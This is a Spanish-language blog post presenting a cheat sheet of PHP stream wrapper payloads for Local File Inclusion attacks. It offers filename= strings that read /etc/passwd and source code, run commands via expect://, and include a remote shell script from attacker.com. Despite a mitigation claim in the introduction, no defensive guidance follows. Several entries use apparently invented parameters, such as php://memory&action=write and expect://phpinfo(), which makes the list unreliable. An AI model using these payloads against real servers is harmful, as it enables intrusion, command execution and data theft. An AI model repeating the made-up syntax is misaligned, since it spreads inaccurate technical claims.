Listado Detallado de Wrappers en PHP para Ataques LFI

8/28/2024

LFI


En el mundo de la seguridad informática, las vulnerabilidades conocidas como Local File Inclusion (LFI) pueden ser un verdadero dolor de cabeza para los administradores de sistemas y desarrolladores web. LFI ocurre cuando una aplicación web permite a un atacante incluir archivos del sistema local en el servidor, abriendo la puerta a la exposición de datos sensibles o incluso a la ejecución de código malicioso.

Un aspecto clave que puede hacer estas vulnerabilidades aún más peligrosas es el uso de wrappers. En términos simples, los wrappers en PHP son como pequeñas capas que permiten acceder y manipular archivos de maneras no convencionales. Estos pueden ser utilizados por un atacante para modificar cómo se incluyen los archivos vulnerables, haciendo que una vulnerabilidad LFI básica se convierta en un problema de seguridad mucho más grave.

En este artículo, te presento un completo listado de los wrappers más utilizados en el contexto de LFI, junto con ejemplos específicos de cómo pueden ser explotados. Este recurso no solo te ayudará a entender mejor cómo funcionan estos mecanismos, sino también a identificar y mitigar posibles amenazas en tus aplicaciones web. ¡Vamos allá!

  1. php://input - Acceder al cuerpo de la solicitud HTTP.
    Permite a un atacante leer o ejecutar el contenido enviado en el cuerpo de la solicitud HTTP. Esto es útil si se desea inyectar código directamente en la solicitud.

    • filename=php://input - Accede al cuerpo de la solicitud HTTP, potencialmente ejecutando el código inyectado en la solicitud.
    • filename=php://input&action=read - Lee el contenido del cuerpo de la solicitud con una acción adicional, si es necesario.
  2. php://filter - Aplicar filtros al contenido de archivos.
    Este wrapper permite a un atacante modificar cómo se lee un archivo antes de su inclusión. Puede usarse, por ejemplo, para codificar el contenido del archivo en base64, lo que facilita la extracción de datos incluso si el archivo no es directamente legible.

    • filename=php://filter/convert.base64-encode/resource=secret.php - Codifica el contenido del archivo secret.php en base64.
    • filename=php://filter/read=string.strip_tags/resource=index.php - Elimina las etiquetas HTML del contenido de index.php antes de incluirlo.
    • filename=php://filter/convert.quoted-printable-encode/resource=info.txt - Codifica el contenido de info.txt usando quoted-printable.
    • filename=php://filter/convert.base64-decode/resource=data.txt - Decodifica el contenido de data.txt desde base64.
    • filename=php://filter/resource=/etc/passwd - Accede al archivo /etc/passwd con filtros aplicados (puede usarse para intentar evitar detecciones).
  3. php://memory - Almacenar datos en memoria temporal.
    Aunque menos común, este wrapper permite trabajar con datos en la memoria. Puede ser útil para almacenar y manipular temporalmente datos inyectados.

    • filename=php://memory - Almacena y accede a datos directamente en la memoria del servidor.
    • filename=php://memory&action=write - Escribe datos en la memoria temporalmente, lo que podría ser manipulado para ejecución posterior.
    • filename=php://memory&buffer=512K - Define un búfer en memoria de 512KB para almacenar datos temporales.
  4. php://temp - Almacenar datos temporales en disco o memoria.
    Similar a php://memory, pero almacena datos en disco si superan un cierto tamaño. Es útil para manipular archivos temporales en el servidor.

    • filename=php://temp - Crea un archivo temporal que puede incluirse o manipularse.
    • filename=php://temp/maxmemory=1M - Almacena hasta 1MB de datos en memoria antes de volcar a disco.
    • filename=php://temp&delete=true - Crea un archivo temporal y lo elimina automáticamente después de su uso.
  5. php://output - Acceder al flujo de salida.
    Permite a un atacante redirigir o manipular el flujo de salida del servidor, lo que puede ser útil para inyectar código o modificar la respuesta HTTP.

    • filename=php://output - Redirige el flujo de salida de PHP, permitiendo la manipulación de la respuesta HTTP.
    • filename=php://output&action=write - Escribe directamente en el flujo de salida, permitiendo la inyección de contenido personalizado.
  6. data:// - Incluir datos en línea como si fueran un archivo.
    Este wrapper permite crear contenido dinámico en línea que puede ser incluido como si fuera un archivo real. Es útil para inyectar código malicioso directamente en la aplicación.

    • filename=data://text/plain;base64,SGVsbG8gd29ybGQ= - Incluye y decodifica un string base64 que luego se trata como un archivo.
    • filename=data://text/html,<html><body>Hello</body></html> - Inyecta directamente un contenido HTML.
    • filename=data://application/octet-stream;base64,aGVsbG8= - Inyecta y decodifica datos binarios codificados en base64.
    • filename=data://text/plain;charset=utf-8,some%20text - Inyecta texto con un charset específico.
  7. expect:// - Ejecutar comandos en el servidor.
    Permite ejecutar comandos del sistema operativo en el servidor, lo que podría comprometer completamente el sistema.

    • filename=expect://ls - Ejecuta el comando ls en el servidor.
    • filename=expect://whoami - Ejecuta el comando whoami para identificar al usuario actual del sistema.
    • filename=expect://cat /etc/passwd - Ejecuta cat /etc/passwd para leer el archivo de contraseñas.
    • filename=expect://phpinfo() - Ejecuta phpinfo() para obtener información del entorno PHP.
  8. zip:// - Acceder a archivos comprimidos en formato ZIP.
    Permite a un atacante acceder al contenido de archivos ZIP directamente, lo que puede ser útil para extraer o incluir archivos individuales.

    • filename=zip://archive.zip#file.txt - Accede al archivo file.txt dentro del archivo comprimido archive.zip.
    • filename=zip://uploads/archive.zip#secret.doc - Extrae y accede al archivo secret.doc dentro de archive.zip.
    • filename=zip://backup.zip#logs/error.log - Accede al archivo de log error.log dentro de backup.zip.
    • filename=zip://data.zip#images/photo.jpg - Accede a la imagen photo.jpg dentro del archivo data.zip.
  9. phar:// - Acceder y manipular archivos PHAR (PHP Archive).
    Este wrapper permite manipular archivos PHAR, que son paquetes de archivos comprimidos utilizados por PHP. Puede ser explotado para inyectar código malicioso dentro de archivos PHAR.

    • filename=phar://malicious.phar/test.txt - Accede al archivo test.txt dentro de un archivo PHAR malicioso.
    • filename=phar://app.phar/data.php - Incluye el archivo data.php desde un archivo PHAR.
    • filename=phar://archive.phar/index.php - Accede al archivo index.php en un archivo PHAR.
    • filename=phar://example.phar/code.php - Ejecuta el código dentro de code.php en el archivo PHAR.
  10. glob:// - Hacer coincidir nombres de archivos utilizando patrones glob.
    Permite buscar archivos usando patrones glob, lo que puede ser útil para encontrar y acceder a múltiples archivos a la vez.

    • filename=glob:///var/www/* - Accede a todos los archivos en el directorio /var/www/.
    • filename=glob://*.php - Busca y accede a todos los archivos PHP en el directorio actual.
    • filename=glob://logs/*.log - Accede a todos los archivos de log en el directorio logs.
    • filename=glob://images/*.jpg - Accede a todas las imágenes JPEG en el directorio images.
  1. file:// - Acceder a archivos locales en el sistema.
    Proporciona acceso directo a los archivos del sistema de archivos local. Es el método más directo de LFI, que permite leer archivos sensibles en el servidor.
    • filename=file:///etc/passwd - Accede al archivo sensible /etc/passwd, que contiene información de los usuarios del sistema.
    • filename=file:///var/www/html/index.php - Lee el contenido del archivo index.php en el servidor web.
    • filename=file:///usr/local/bin/script.sh - Accede a un script en el servidor para potencialmente modificarlo o leer su contenido.
    • filename=file:///home/user/.bashrc - Accede al archivo de configuración .bashrc de un usuario.
  1. http:// - Incluir contenido desde URLs externas a través de HTTP.
    Permite incluir contenido desde un servidor remoto. Esto podría ser explotado para incluir scripts maliciosos o cargar contenido arbitrario desde una URL externa.
    • filename=http://example.com/malicious.php - Incluye y ejecuta un archivo PHP malicioso desde un servidor remoto.
    • filename=http://attacker.com/shell.txt - Carga y ejecuta un script de shell desde un servidor externo.
    • filename=http://remote.com/data.txt - Incluye un archivo de texto remoto, posiblemente para inyectar datos o configuraciones.
    • filename=http://webserver.com/info.php - Ejecuta un script PHP en un servidor externo que podría exfiltrar datos del servidor local.

You Might Also Like

0 comentarios

Like us on Facebook